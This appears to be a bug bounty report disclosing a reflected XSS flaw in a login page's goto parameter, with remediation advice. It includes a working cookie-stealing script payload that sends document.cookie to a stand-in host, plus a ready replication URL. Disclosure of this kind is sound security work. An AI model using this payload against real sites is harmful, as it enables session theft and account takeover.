BugBountyHunter

Hey!

Summary

The endpoint /login.php is vulnerable to reflected XSS, caused by the goto parameter. Its value is reflected inside the value argument of an <input> tag without proper sanitization.

The following payload will allow an attacker to steal the session cookies of anyone clicking their link: "><script/x>document.location="//example.com?c="%2bdocument.cookie</script/x>

This is how it gets reflected:

<input name="goto" value="">
<script/x>
    document.location="//example.com?c="+document.cookie
</script/x>

The attacker can now read the cookies from their server's logs and take over the victim's account.

To replicate this, simply navigate to /login.php?goto=yo123"><script/x>document.location="//example.com?c="%2bdocument.cookie</script/x>.

Remediation

• Properly sanitize the value of goto before reflecting it
• Make session cookies HttpOnly to lower the impact of XSS
• Add strong CSP rules if possible to further lower the impact of XSS